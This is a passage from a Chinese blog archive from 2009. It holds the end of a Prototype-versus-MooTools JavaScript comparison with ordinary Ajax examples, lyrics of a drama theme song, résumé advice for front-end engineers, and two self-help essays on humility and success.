同时还衍生出了 serializeElements Method 等等很多类和方法,代码瞬间变得异常复杂和难以琢磨.

而moo中没有Form对象,在moo中,Form本身就是一个Element 他没什么特别的,这样的思想类似components模式
普通Element具备的方法 Form 都应该具备, Form具备的方法 Element也都应该包含.form 和其他页面元素没什么不同.
form元素只是一个包含了 input select textarea等子元素,同时拥有action target等属性而已.
一个div 一个span 一个td… 同样可以包含input select textarea子元素,同样可以拥有.action target属性.
浏览器处理他们的方式可能不同,但是在moo面前,大家完全平等.

其实prototype里 form和普通页面元素几乎也是平等的,但是问题就是,既然是平等的,又何必硬生生的造出Form以及那么多的衍生物呢?

七.Ajax

Prototype
prototype的ajax实现主要是靠一个 Ajax类来实现.(但是这个类形同虚设,大家更多的是和 Ajax.Request 类打交道.

先来看一个prototype下一个简单的ajax提交实例:

var myAjax = new Ajax.Request(
     url,
    {
     parameters: myData ,
     onComplete: callBackFunction 
    } 
);

其中 myData 可以是字符 : "name=Vickey&gender=female";
也可以是对象 { name : Vickey, gender : female }

Mootools
moo首先在将ajax机制分层.提取出了一个基类:XHR.
目前XHR有两个子类, 一个是 Ajax ,另一个是Json.Remote.

在moo下一个简单的ajax提交实例:

var myAjax =new Ajax(
    url, 
    {
     data : myData , 
     onComplete: callBackFunction  
    }
).request();

大家可以看到request成为了Ajax对象的一个方法,这样的设计显然是更合理更自然也更OO的.

而且关键的一点是,你可以提前创建好你需要的ajax对象.在需要发出请求时再发出请求.

1
2
3

var myAjax =new Ajax(...);  
.....   
myAjax.request();

同时还有一个重要特性, request是支持参数的,这个参数就是你要提交的数据.

也就是说,你可以在new Ajax时不指定数据或者指定一个默认数据.
在提交的时候可以提交另一个data.如.

myAjax.request(yourData);

其中data可以是字符串,可以是对象, 也可以是一个页面元素.

要用ajax提交一个form 或者一个 div下的所有表单元素,只是改变一下 myData.
var myData= $("formID"); // var myData= $("divID");
然后就和普通的ajax提交完全一样了.

myAjax.request(myData);

当然还有更oo的方式 :
myData.send({onComplete: callBackFunction });

用后一种方式的时候要保证提交的元素有action属性,没有你就赋一个 myData.action=url.
prototype里如何实现这一功能呢??

Prototype
Form.request($("formID") ,{ onComplete: callBackFunction });

当然prototype里也可以类似moo的做法 , 只要让myData=$("formID").serialize(true) 就可以了.
但是这一个小小的不同,反映出了设计上的差距.

Mootools
moo的Json.Remote类,简单,但是很实用:

var jSonRemoteRequest = new Json.Remote(
  url , 
  {
   onComplete:callBackFunction 
  }
).send({name: 'Vickey',gender: 'female' });

这个类和Ajax类的本质区别是,
他提交的是一个序列化后的 json字符串("{name: ‘Vickey’,gender: ‘female’ } "),而不是把 json对象转化成QueryString ("name=Vickey&gender=female");

结束语

写这篇文章不是要批评prototype,以我现在的水平还没那个资格.
只是和mootools对比后, prototype在设计上的不足立刻就显现了出来.

虽然prototype新版本变化很多,很多我上面提到的一些不足都改正了,而且也加入了很多以前不具备的新的特性.
但是prototype现在的发展停留在:"修补不足,增加功能"的阶段,而没有从设计上进行深层次的重构,所以我不认为他在mootools面前有足够的底气.

至于jquery我没有深入研究过,但是它的设计觉得完全是prototype风格的, 注意,我说的是设计风格,而不是代码风格.
代码上他可能写的更精妙,更有趣,但是设计上依然是prototype风格:薄弱的类机制,靠简单的extend支撑起整个系统.
JQuery在很多方面很出色,但是归根结底他和prototype走在一条路上,只是在有些方面他走的更快.

mootools并非完美无缺,但是至少现在他美的地方比prototype更多,缺的地方比prototype更少.

所以,我选择mootools. 你呢??

不要听评论,不要看介绍, 只要看看他们的源代码, 同时动手用他们写些东西, 你的答案自然会浮现出来.

菊花香

Rainbow — Sat, 01 Aug 2009 11:29:17 +0000

菊花香

也许，你闻见一个女子带着菊花香，就决定去爱她一生；也许，你随意地挑选出一首老歌，来倾述你的心声；也许，你会在树干上镌刻爱人的名字，让爱情生长；也许，你在生命的最后时刻，踩着沙沙作响的银杏叶子跳一支舞；也许，你亲手去做陶器，让幸福成为永恒的艺术–这些就是散发着菊花香的故事。

菊花香主题歌《熙载》

阳光为我们而照耀，风使我们相拥而抱

季节在我们的笑声中来来往往

顺着风中飘舞的发丝，飘来的你的香气

你那美丽的眼睛和笑容都被我所拥有

这种爱、这幸福都觉得是那么容易拥有

但这情景、这祝福不应该这么容易让我享受

来不及擦掉眼泪，擦掉痛苦的我

真的,如果哭泣，就像是我把你给送走在离开的那瞬间，你是否还在担心我

在什么也不能为你做的，我痛苦心灵面前

虽然你说曾离开我，但我从来没有让你走

你依然是让我生存下去的力量

这种爱、这幸福都觉得是那么容易拥有
但这情景、这祝福不应该这么容易让我享受

来不及擦掉眼泪，擦掉痛苦的我

真的,因为哭泣像是我把你给送走

在离开的那瞬间，是否还在为我担心

在什么也不能为你做的，我痛苦心灵面前

虽然你说会离开我，但我从来没让你走

我将用等待来重新开始

请你不要忘记我们是多么的相爱，多么的更加相爱

一瞬间也不要忘记

请在那离去的地方，在回忆中等着我

请不要将我遗忘

因为我是毫无怨言走向你

如何做好一份前端工程师的简历 (收藏)

Rainbow — Wed, 22 Jul 2009 09:03:44 +0000

如何做好一份前端工程师的简历

春节前在蓝色理想上发了个“雅虎口碑招聘前端工程师 ”的启事，节后收到很多简历，加之HR通过专业招聘网站得到的简历和朋友同事推荐的简历，数量上是相当的多，把这些简历一一看完真是一个漫长而幸苦的体力活，何况我还要仔细认真的去提取和核查有用信息评估其能力，尽量不错过任何一个埋藏在大量简历中合适的人，这绝大部分时间并不是一个相当愉悦的过程。所以，我感觉有必要来谈谈：如何做好一份前端工程师的简历。

一、你是前端工程师

虽然简历都会有一些常规信息，但职业决定了这份简历核心内容和求职成败。所以，这份简历应该尽可能体现你自己是一个合格的前端工程师。专业的前端工程师是什么可以看看去年Nate Koechley的演讲《Professional Frontend Engineering》，前端工程师应该关注的内容可以从克军总结的“前端工程师应该关注什么”的思维导图中窥出一二，学习内容聚合可以看看陈成总结的《前端开发大众手册(包括工具、网址、经验等)》。

毫无疑问，前端工程师应该知道如何用简历体现其专业技能和职业精神，这是每个应聘者应该考虑的问题。

二、内容为王

个人信息

姓名（必需）
性别（必需）
年龄（必需）
联系电话（必需）
学历及学位（必需）
薪资期望
个人照片
邮箱
Blog
外语能力

职业技能

HTML、CSS、JavaScript/ActionScript等
Web标准、可用性、可访问性
一门非前端脚本的语言(Java、PHP、Python、C#等)
任何有利于前端开发的技能和兴趣

职业和教育经历

起始时间、单位名、职位（学位）和收获
简而精
按照时间倒序排列

代表作品

能体现自己现在前端技能或者重要经历的作品
简而精，且可以简要附上自己在这个作品中的收获
和别人合作的作品要注明自己具体完成的内容
在线链接要测试以保证可用，如果有其他人的变更应注明，较大变更就无需提交了
提供附件要注明与之对应的文件名
按完成时间倒序排列

依据实际情况，代表作品也完全可以直接融入到职业技能和经历中体现。当然内容不仅仅是这些，可以任意增加能体现前端工程师职业素质的信息。

三、Web是平台

毫无疑问，Web才是真正的平台，当这个平台的后端逐步被云所统治时（Amazon的很多服务和Google App Engine都初见端倪），那么云端的用户代理（比如浏览器）就是前端工程师的战场。前端工程师是可以长期从事且有前途的职业。

简历作为前端工程师迈向新征途而提交的第一份作品，应该毫不迟疑的用它来体现其专业技能和职业精神，所以Web页面是前端工程师简历的最好载体。它能体现前端工程师诸多专业素质：

知道为什么选择的DTD是下面中的一个而不是其他，这是对 HTML标准的理解和思考。

针对内容选择合适的HTML标签，合理的id和class命名，尝试使用微格式，这是对语义化的理解和思考。

至少兼容YUI中列出的A-grade浏览器，这是对跨浏览器和CSS Hacks的理解和思考。

虽然Web性能在大访问量下才比较容易凸显，但把尝试把YAHOO性能团队的34条最佳实践应用上，一定会小中见大且受益终生的。

JavaScript的应用

简历的信息结构一般很简单，但是这并不意味着无法使用JavaScript来增强它的交互。找出其JavaScript技能和简历相互结合的地方。
可以尝试使用某种框架（YUI、jQuery、Prototype、Mootools等），很明显框架能提高我们的开发速度，掌握至少1中优秀的框架能增强我们的价值。
可以利用JavaScript做出几个彩蛋在简历里面么？
实现结构、样式和行为的分离。
理解和体现DOM Scripting、预留退路（Graceful Degradation）、渐进增强（Progressive Enhancement ）、无侵入的JavaScript（Unobtrusive Javascript）等思想。空帷翻译的《理解“渐进增强(Progressive Enhancement)》是篇这方面的好文章。

可访问性，在这上面每一步的深入研究和应用都值得赞赏。
HTML5、CSS3、SVG、Canvas甚至离线技术、安全技术都可以和我们的简历结合起来。列表When can I use…提供了一些新技术在主流浏览器的支持情况。
打印样式，很明显前端简历不仅仅是其主管看，还有HR和大老板看，所以准备打印样式是很重要的，这不仅仅是技能问题，更是一种前端开发的素质。你需要知道，打印样式应该是黑字白底，且尽量少的装饰图片，因为现在的绝大部分办公打印机还是黑白的，且黑色更费墨，所以当你的简历是黑色背景时更应该注意这点。
简单设计，千万不要把你的简历搞一团糟，设计虽然不是前端工程师最重要的技能，但是良好的视觉设计更能体现前端工程师的价值，所以审美其实也是前端工程师的基础素质。如果对视觉设计感到困惑，你可以从看《推荐给大家看的设计书》开始。

四、细节决定体验

标识性的文件名，比如“秦歌的简历”、“秦歌的作品”，而不是“个人简历”、“我的作品”。
发完信后记得检查一下发件箱，确保没有忘记发附件。
简历和众多作品整体打一个包。不要一个大包里面无数个小包。且整个包应该整理过，去掉垃圾，不应该太大。
不要重复发邮件，特别是拒绝以后，还发一个同样的邮件，除非一段时间后你有较大进步。
检查链接有效性，无效链接很伤感情的，可以使用Firefox的插件 LinkChecker或 Pinger。

实际上，前端工程师的工作成果是直接面向千万用户的，他直接决定了最终的用户体验，所以每个细节都至关重要，就像JavaScript编程一样，只要我们掌握良好的风格要素，我们就能避免很多错误，实际上这个思想贯穿整个前端开发的始终，包括制作简历。

我很喜欢有个人blog的应聘者，因为通过其blog不仅仅可以看出他的前端技能、工作积累、职业素质和分享精神，同时他通过维护blog可以贯穿一个简单开发的始终，从内容、交互、视觉、前端一直到后端维护，而这些角色都是前端在开发过程中的上下游，需要经常协作，这种经历能使前端更高效的沟通和更务实的换位思考。同样，当我推荐前端的简历应该是以Web页面为载体时，也是基于这个想法，并适当的给出一些相关知识以备有兴趣的朋友朝这个方向走下去。虽然我的建议偏向于“HTML+CSS+JavaScript”方向的前端工程师，但实战中肯定有更多能够在简历中体现前端的技能和创意，这本身就是抛砖引玉，这仅仅是一个开始。

简历很重要，但人品、职业精神和专业的前端技能更重要，最重要的是这两者是相辅相成的。虽然很羡慕兄弟团队淘宝UED 、支付宝UED 和阿里巴巴B2B国际站UED能有创意、时间和精力搞出那么精致的招聘站点，但我更希望我未来的同事用技能、创意、时间和精力整出一个巨牛的前端工程师简历来震住我（kaven.yan@yahoo.com）吧。

作者：YanKaven 来自：口碑网UED Team

低调做人高调做事

Rainbow — Fri, 10 Jul 2009 02:19:20 +0000

低调做人高调做事

一、在姿态上要低调

在低调中修炼自己：低调做人无论在官场、商场还是政治军事斗争中都是一种进可攻、退可守，看似平淡，实则高深的处世谋略。

谦卑处世人常在：谦卑是一种智慧，是为人处世的黄金法则，懂得谦卑的人，必将得到人们的尊重，受到世人的敬仰。

大智若愚，实乃养晦之术：“大智若愚”，重在一个“若”字，“若”设计了巨大的假象与骗局，掩饰了真实的野心、权欲、才华、声望、感情。这种甘为愚钝、甘当弱者的低调做人术，实际上是精于算计的隐蔽，它鼓励人们不求争先、不露真相，让自己明明白白过一生。

平和待人留余地：“道有道法，行有行规”，做人也不例外，用平和的心态去对待人事事，也是符合客观要求的，因为低调做人才是跨进成功之门的钥匙。

时机未成熟时，要挺住：人非圣贤，谁都无法甩掉七情六欲，离不开柴米油盐，即使遁入空门，“跳出三界外，不在五行中”，也要“出家人以宽大为怀，善哉！善哉！”不离口。所以，要成就大业，就得分清轻重缓急，大小远近，该舍的就得忍痛割爱，该忍的就得从长计议，从而实现理想，成就大事，创建大业。

毛羽不丰时，要懂得让步：低调做人，往往是赢取对手的资助、最后不断走向强盛、伸展势力再反过来使对手屈服的一条有用的妙计。

在“愚”中等待时机：大智若愚，不仅可以将有为示无为，聪明装糊涂，而且可以若无其事，装着不置可否的样子，不表明态度，然后静待时机，把自己的过人之处一下子说出来，打对手一个措手不及。但是，大智若愚，关键是心中要有对付对方的策略。常用“糊涂”来迷惑对方耳目，宁可有为而示无为，万不可无为示有为，本来糊涂反装聪明，这样就会弄巧成拙。

主动吃亏是风度：任何时候，情分不能践踏。主动吃亏，山不转水转，也许以后还有合作的机会，又走到一起。若一个人处处不肯吃亏，则处处必想占便宜，于是，妄想日生，骄心日盛。而一个人一旦有了骄狂的态势，难免会侵害别人的利益，于是便起纷争，在四面楚歌之中，又焉有不败之理？

为对手叫好是一种智慧：美德、智慧、修养，是我们处世的资本。为对手叫好，是一种谋略，能做到放低姿态为对手叫好的人，那他在做人做事上必定会成功。
以宽容之心度他人之过：退一步海阔天空,忍一时风平浪静。对于别人的过失，必要的指责无可厚非，但能以博大的胸怀去宽容别人，就会让世界变得更精彩。

二、在心态上要低调

功成名就更要保持平常心：高调做事是一种责任，一种气魄，一种精益求精的风格，一种执著追求的精神。所做的哪怕是细小的事、单调的事，也要代表自己的最高水平，体现自己的最好风格，并在做事中提高素质与能力。

做人不要恃才傲物：当你取得成绩时，你要感谢他人、与人分享、为人谦卑，这正好让他人吃下了一颗定心丸。如果你习惯了恃才傲物，看不起别人，那么总有一天你会独吞苦果！请记住：恃才傲物是做人一大忌。

容人之过，方显大家本色：大度睿智的低调做人，有时比横眉冷对的高高在上更有助于问题的解决。对他人的小过以大度相待，实际上也是一种低调做人的态度，这种态度会使人没齿难忘，终生感激。

做人要圆融通达，不要锋芒毕露：功成名就需要一种谦逊的态度，自觉地在名利场中做看客，开拓广阔心境。

知足者常乐：生活中如能降低一些标准，退一步想一想，就能知足常乐。人应该体会到自己本来就是无所欠缺的，这就是最大的财富了。

不要太把自己当回事：不要把自己太当回事，才不会产生自满心理，才能不断地充实、完善自己，缔造完善人生。

谦逊是终生受益的美德：一个懂得谦逊的人是一个真正懂得积蓄力量的人，谦逊能够避免给别人造成太张扬的印象，这样的印象恰好能够使一个员工在生活、工作中不断积累经验与能力，最后达到成功。

淡泊名利无私奉献：性格豪放者心胸必然豁达，壮志无边者思想必然激越，思想激越者必然容易触怒世俗和所谓的权威。所以，社会要求成大事者能够隐忍不发，高调做事，低调做人。

对待下属要宽容：作为上司，应该具有容人之量，既然把任务交代给了下属，就要充分想念下属，让其有施展才能的机会，只有这样，才能人尽其才。

简朴是低调做人的根本：在生活上简朴些、低调些，不仅有助于自身的品德修炼，而且也能赢得上下的交口称誉。

三、在行为上要低调

深藏不露，是智谋：过分的张扬自己，就会经受更多的风吹雨打，暴露在外的椽子自然要先腐烂。一个人在社会上，如果不合时宜地过分张扬、卖弄，那么不管多么优秀，都难免会遭到明枪暗箭的打击和攻击。

出头的椽子易烂：时常有人稍有名气就到处洋洋得意地自夸，喜欢被别人奉承，这些人迟早会吃亏的。所以在处于被动境地时一定要学会藏锋敛迹、装憨卖乖，千万不要把自己变成对方射击的靶子。

才大不可气粗，居功不可自傲：不可一世的年羹尧，因为在做人上的无知而落得个可悲的下场，所以，才大而不气粗，居功而不自傲，才是做人的根本。

盛名之下，其实难副：在积极求取巅峰期的时候，不妨思及颜之推倡导的人生态度，试图明了知足常乐的情趣，捕捉中庸之道的精义，稍稍使生活步调快慢均衡，才不易陷入过度偏激的生活陷阱之中。

做人不能太精明：低调做人，不耍小聪明，让自己始终处于冷静的状态，在“低调”的心态支配下，兢兢业业，才能做成大事业。

乐不可极，乐极生悲：在生活悲欢离合、喜怒哀乐的起承转合过程中，人应随时随地、恰如其分地选择适合自己的位置，起点不要太高。正如孟子所说的：“可以仕则仕，可以止则止，可以久则久，可以速则速。”

做人要懂得谦逊：谦逊能够克服骄矜之态，能够营造良好的人际关系，因为人们所尊敬的是那些谦逊的人，而决不会是那些爱慕虚荣和自夸的人。

规避风头，才能走好人生路：老子认为“兵强则灭，木强则折”、“强梁者不得其死”。老子这种与世无争的谋略思想，深刻体现了事物的内在运动规律，已为无数事实所证明，成为广泛流传的哲理名言。

低调做人，便可峰回路转：在待人处世中要低调，当自己处于不利地位，或者危险之时，不妨先退让一步，这样做，不但能避其锋芒，脱离困境，而且还可以另辟蹊径，重新占据主动。

要想先做事，必须先做人：要想先做事，必须先做人。做好了人，才能做事。做人要低调谦虚，做事要高调有信心，事情做好了，低调做人水平就又上了一个台阶。

功成身退，天之道：懂得功成身退的人，是识时务的，他知道何时保全自己，何时成就别人，以儒雅之风度来笑对人生。

四、在言辞上要低调

不要揭人伤疤：不能拿朋友的缺点开玩笑。不要以为你很熟悉对方，就随意取笑对方的缺点，揭人伤疤。那样就会伤及对方的人格、尊严，违背开玩笑的初衷。

放低说话的姿态：面对别人的赞许恭贺，应谦和有礼、虚心，这样才能显示出自己的君子风度，淡化别人对你的嫉妒心理，维持和谐良好的人际关系。

说话时不可伤害他人自尊：讲话要有分寸，不要伤害他人。礼让不是人际关系上的怯懦，而是把无谓的攻击降到零。

得意而不要忘形：得意时要少说话，而且态度要更加谦卑，这样才会赢得朋友们的尊敬。

祸从口出，没必要自惹麻烦：要想在办公室中保持心情舒畅的工作，并与领导关系融洽，那就多注意你的言行。对于姿态上低调、工作上踏实的人，上司们更愿意起用他们。如果你幸运的话，还很可能被上司意外地委以重任。

莫逞一时口头之快：凡事三思而行，说话也不例外，在开口说话之前也要思考，确定不会伤害他人再说出口，才能起到一言九鼎的作用，你也才能受到别人的尊重和认可。

口出狂言者祸必至：是不是因为物欲文明的催生所致，如今社会上各类职业当中都有动辄口出狂言的人。

耻笑讥讽来不得：言为心声，语言受思想的支配，反应一个人的品德。不负责任，胡说八道，造谣中伤，搬弄是非等等，都是不道德的。

不要总是报怨原单位：跳槽属于人才流动，是当今社会很正常的一种现象，并不为奇，而且跳槽者屡屡能在新的团队里找到适合自己的位置，创造更佳的业绩。如果这一步还没有达到，你就急忙地大耍“嘴功”，以贬低老团队的手段来抬高自己在新团队的人缘和地位的话，那你就大错特错了！

说话不可太露骨：别以为如实相告，别人就会感激涕零。要知道，我们永远不能率性而为、无所顾忌，话语出口前，考虑一下别人的感受，是一种成熟的人处世方法。

沉默是金：沉默，并不是让大家永不说话，该说的时候还是要说的。就像佛祖那样境界的人，也还是会与人说话，传授佛法，适度的语言本身也是一种沉默。

五、在思想上要高调

给自己一个希望：不论你遇到了多揪心的挫折，都应当以坚持不懈的信心和毅力，感动自己，感动他人，把自己锤炼成一个做大事的人。

保持向上的激情：我们需要激情，需要开拓，让我们从现在做起，兢兢业业，开拓创新，扎扎实实做好本职工作，在平凡的工作中燃烧激情。

自信是高调做事的秘诀：信心对于做事成功者具有重要意义，成功的欲望是创造和拥有财富的源泉。人一旦有了这种欲望，并经由自我暗示和潜意识的激发后形成一种自信心，这种信心就会转化成一种“积极的感情”，它能帮助人们释放出无穷的热情、智慧和精力，进而帮助人们获得财富与事业上的巨大成就。

别让借口“吃掉”你的希望：无论什么时候，我们都不要为自己寻找借口，只有尽职尽责，勇往直前，不找借口，才能实现理想，创造辉煌人生。

丑小鸭也能变成白天鹅：一个人有希望，再加上坚忍不拔的决心，就会产生创造的能力；一个人有希望，再加上持之以恒的努力，就会达到目的。

点燃希望之火：一颗充满希望的心灵，具有极大的创造力，这种创造力会激发人的潜能，实现人的理想。

成功需要付出代价：从古到今，凡成事者，成大事者，莫不受尽磨难，在磨难中完成自我教育，如此也水到渠成地成就了事业。

主动去做应该做的事：只有气服懒惰，积极进取的人，才能不断成功，不断取得好成绩。

不要轻言放弃，坚持就能成功：抱定任何都不放弃的信念，即使在一片懊悔或叹息、宽容或指责的氛围中也要坚持。是的，任何时候都不要放弃，无论条件多么的困难，只要能坚持到底，成功就一定属于你。

学会自己鼓励自己：能自己鼓励自己的人就算不是一个成功者，但绝对不会是一个失败者，你还是趁早练练这“功夫”吧！

永远保持好心情：突破困境的方法，首先在于要肃清胸中快乐和成功的仇敌，其次要集中思想，坚定意识。只有运用正确的思想，并抱定坚定的精神，才能从逆境中突围。

激发自己的潜能：倘若你和一般失败者面谈，你就会发现：他们之所以失败，是因为他们从来不曾走进足以激发人、鼓励人的环境中，是因为他们的潜能从来不曾被激发，是因为他们没有力量从不良的环境中振作。

不要畏惧贫穷和困苦：行走于人生丛林中的每个人都应该记住，如果你正在遭受困苦，这并不是完全是件坏事，“天将大任于斯人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行拂乱其所为”。因为老天要把重任交给你，必先磨炼和考验你！

发掘出自身的强项：当巨大的压力、非常的变故和重大责任压在一个人身上时，隐伏在他生命最深处的种种能力，才会突然涌现出来，使他成就大业。

坚定生活的信念：困境可以检验一个人的品质。如果一个人敢于直面困境，积极主动寻求解决问题的办法，能在任何不利的环境中始终充满热情，坚定对生活的信念，那么他迟早会成功。

把挫折当成垫脚石：在生活中，有的人被挫折打倒，有的人却把挫折当成垫脚石，不断前进。只要我们正视坎坷，永不放弃自己的追求，生活的艰辛将被我们踩在脚下，生命将会永放光芒！

对生活充满热情：有了热情，就能把额外的工作视作机遇，就能把陌生人变成朋友，就能真诚地宽容别人。有了热情，就能充分利用余暇时间来完成自己的兴趣爱好。有了热情，就会抛弃怨恨，变得心胸宽广。有了热情，就会战胜困难，取得成功。

六、在细节上要高调

注重细节，从小事做起：看不到细节，或者不把细节当回事的人，对工作缺乏认真的态度，对事情只能是敷衍了事。而注重细节的人，不仅认真地对待工作，将小事做细，并且能在做细的过程中找到机会，从而使自己走上成功之路。

工作中没有小事：点石成金，滴水成河，只有认真对待自己所做的一切事情，才能克服万难，取得成功。

认真对待每一次训练：那些在平时训练和准备过程中认真对待的人则相反，由于一直接受了高强度的模拟训练，他们更容易在关键的比赛中表现出镇定的心态，因为在他们心目中，这无异于平时的一场简单的比赛和训练。

悄悄地为他人做点好事:试着去真心真意地帮助别人，当这一切完全发自你的意愿时，你将会感觉到这是件多么快乐的事，你的心灵就会得到回报—一种和平、安静、温暖的感觉。

敬业精神+脚踏实地=成功：敬业，不仅仅是事业成功的保障，更是实现人生价值的手段，有的人在生活中，总是不满意目前的职业，希望改变自己的处境。但世界上绝对没有不劳而获的事情，人们的成功无一不是按部就班、脚踏实地努力的结果。

相信自己，正视开端：任何大的成功，都是从小事一点一滴累积而来的。没有做不到的事，只有不肯做的人。想想你曾经历过的失败，当时的你真的用尽全力试过各种办法了吗？困难不会是成功的障碍，只有你自己才可能是一个最大的绊脚石。

扎实的基础是成功的法宝：如果一味地追求过高远的目标，丧失了眼前可以成功的机会，就会成为高远目标的牺牲品。许多年轻人不满意现在的工作，羡慕那些大款或高级白领人员，不安心本职工作，总是想跳槽。其实，没有十分的本领，就不应有些妄想。我们还是多向成功之人学习，脚踏实地，做好基础工作，一步一个脚印地走上成功之途。

实干才能脱颖而出：那些充满乐观精神、积极向上的人，总有一股使不完的劲，神情专注，心情愉快，并且主动找事做，在实干中实现自己的理想。

要征服世界，先战胜自己：要想成功，就要战胜自己的感情，培养自己控制命运的能力。

用心做事，尽职尽责：以积极主动的心态对待你的工作、你的公司，你就会充满活力与创造性的完成工作，你就会成为一个值得信赖的人，一个老板乐于雇用的人，一个拥有自己事业的人。

对待小事也要倾注全部热情：倾注全部热情对待每件小事，不去计较它是多么的“微不足道”，你就会发现，原来每天平凡的生活竟是如此的充实、美好。

神奇的成功步骤

Rainbow — Fri, 10 Jul 2009 01:52:03 +0000

神奇的成功步骤

人犹如一台电脑。人的身体就像电脑的硬件，人的思想就像电脑的软件，人的思想也可以有选择性地安装，你选择了怎样的心态、思想方法和思维方式，就决定了你会有什么样的成就！成功是有序可循的。

第一步:操之在我！

1、你认识你自己吗？你知道自己最喜欢什么和最擅长什么吗？你知道自己最大的缺点和最大的优点是什么吗？

2、你是否明确知道自己最想要什么？

许多人都在过着自己不喜欢的工作或与自己不喜欢的人一起生活，生活对于他们来说就是一种煎熬！难道这一切都是命中注定的吗？不，绝对不是！你现在过得不快乐，是因为你从来就没下定决心一定要快乐，或者你是生中福中不知福？你也许一直贫困潦倒，是因为你从来没想过一定要致富，或者从来都不想信自己一定会致富？

3、很多人穷其一生都不知道自己究竟为何而活？

–你想换一种活法、开始一个全新的生活方式吗？没有人帮得了你，除非你自己决心打开“由内到外”的改变之门？

4、发挥你的强项。

每个人都有潜藏着的某种优势，因此我们看人，包括自己，不要老是看到弱势的一面、缺点的一面，而应该更多地看到优势的一面，把重点放在开发和培养自己优势的一面上。而从整个世界来说，我们每个人都有相应的一个位置，这个位置主要是由什么决定的呢？主要是由它的优势决定的。人生的诀窍就是经营自己的长处、给自己的人生增值。正如富兰克林所说：“即使是宝贝，放错了地方也只能是废物。”

第二步:态度决定一切。

1、感恩的心。

我们要感谢父母的养育之恩，感谢老师的教育之恩，感谢朋友的关怀之情，感谢我们赖以生存的环境：阳光、大地、空气，甚至还要感谢所有使你坚定成就的人–感谢伤害你的人，是他们使你变得更加的坚强；感谢欺骗你的人，是他们让你增加了见识；感谢斥责你的人，是他们增长了你的智慧。我们要以感恩以心来面对每一个人、每一件事，你将活得愈来愈快乐、愈自由！

2、爱心。

内心深处的爱是你一切行动的源泉。不愿奉献的人，缺乏爱心的人，就不太可能得到别人的支持；失去别人的支持，离失败就不会太远。没有爱心的人，不会有太大的成就。你有多大的爱心，决定你有多大的成功。

3、一定要的决心。

决心是最重要的积极心态，是决心，而不是环境在决定我们的命运。如果一定要，我们一定能够找到方法。决心，表明没有任何借口。改变的力量源自于决心，人生就注定于你做出决定的那一刻。只有决定一定要成功，潜能才能被激发。你到底是想成功还是一定要成功，要成功就立即采取行动。

4、企图心。

（即是达成自己预期目标的成功意愿。）一个顶尖的推销员最优秀的素质是要有强烈的成交欲望；一个运动员最优秀的品质是"永争第一"的欲望。先找强烈的动机，后找方法。动机比方法更重要，当你一定要做好某件事时，你就会发挥你最大的力量去寻找方法。

5、热情。

热情具有非常大的感染力,你的热情将感染你的朋友和你的家人.没有人愿意跟一个整天都提不起精神的人打交道，没有哪一个领导愿意提升一个毫无热情的下属。热爱是最好的老师，疯狂的干自己最想干的事，投入100%的热情，把工作当成一种娱乐，并享受在其中，这样的人常常在不知不觉中能取得惊人的成就。

6、敢于对自己的生命负100%的责任。

7、自律。

人人崇尚自由，然而，自由的代价是自律。自律就是要克制人的劣根性。不能自律的人迟早是要失败的。很多人成功过，但是昙花一现，根本原因就在于他缺乏自我约束。成功需要很强的自律能力。

8、顽强。

在我们追求成功的过程中，一定会遇到许多艰难、困苦、挫折与失败。你不打败它们，它们就会打败你！人生有两杯水，一杯是苦水，一杯是甜水，你愿意先喝哪一杯呢？。

9、坚持。

挑战人生需要百折不挠的精神：奋斗，失败，再奋斗，再失败，再奋斗……直至最终的成功，这就是成功的一般规律。成功之花靠奋斗者辛勤劳动的汗水去浇灌。奋斗与失败的每一次循环，都将人的认识提高到一个新的水平和高度，都向成功的目标逼近了一步。

10、快乐。

只有快乐的人才能给别人带来快乐。征服恐惧心理的万能公式。

一、问你自己，“可能发生的最坏情况是什么？”二、如果你必须接受的话，就准备接受它；三、然后很镇定地想办法改善最坏的情况！

11、胸怀。

所谓胸怀，就是一股用尽天下之材、尽天下之利的气度，当然，还包括相当程度的包容–对异己的包容，对陌生的包容，对不如己者的包容。只有这样，你才会形成一种从广大处觅人生的态度，把生命的境界做大，把事业做大。我们的心怀应该像大海一样宽广而有容，面临大海你的感受？无论遇到多大的挫折和困难，都要处事不惊，泰然处之。交际的最高艺术，并不是你强求别人怎么做，而是别人主动为你考虑，尽心尽力为你做得最好，生活的快乐并不在于拥有多少物质财富，而在于一个人内心的安宁与充实

第三步:成功=目标，其它都是对这句话的解释。

以终为始建立自己的人生目标管理系统。终极目标的确定，人生目标金字塔，自上而下的目标确定，实现目标则自下而上。APCU循环目标管理系统。

1、你知道你人生核心目标吗？
2、永远做对人和人类有用的事。
3、你的目标就是成为行业中的世界顶尖，因为你的成就绝不会超过你的所想！
4、要对你的行业无所不知，只要你是最好的，最好的事情就属于你！

5、当你写下白纸黑字的那一瞬间，梦想就会变为目标。当你把目标分成几个步骤时目标就会成为计划，只有在你行动的时候，计划才会化为真实。
6、如果你把事情分解成许多小的工作，就没有什么事情显得特别难做。

第四步：是习惯在左右你的命运

（高效能人士的七个重要习惯：1主动积极；2以终为始；3要事第一4双赢思维；5知已知彼；6综合综效；7均衡发展。）。

1、研究自己的坏习惯，成功开始于一个人养成好的习惯的时候，当你改变自己的环习惯时，也是在改变自己的命运。
2、习惯若不是最好的仆人，就是最差的主人。
3、你每次摆脱掉一个坏习惯，你都是在形成一个好的习惯。
4、成功的过程就是好习惯代替旧习惯的过程,所有的改变都是在改变潜意识。

第五步:坚定自己的人生信念。

信念：是你的看法在左右你的结果。按照行为科学的结论，人的行为95%以上都是按照习惯而行事，因此信念的力量之所以巨大是因为95%以上的时间（尤其是关键时刻），人的行为按照自己大脑潜意识中的习惯看法，即信念的指挥而行事。形成牢固信念的两大基本途径是：1、不断地被反复输入；2、不断地被证实。我们还可以复制成功者的信念系统，直至成为自己生命的一部分。有什么样的信念就有什么样的人生，但信念并
非与生俱来的，是"软件"，由后天获得。我们有权选择和"安装"的自由，让我们慎选自己的信念。不要违心的做自己不想做的事，要倾听内心最真实的声音，按照自己心灵的指示去做事，保持自己人格和心灵的自由和独立，相信自己的人格是最高尚的，相信自己的思想是最
具有智慧的，坚信自己的人生信念，坚持不懈的追求自己的人生价值，不断拓展自己的人生空间，升华自己生命的境界。
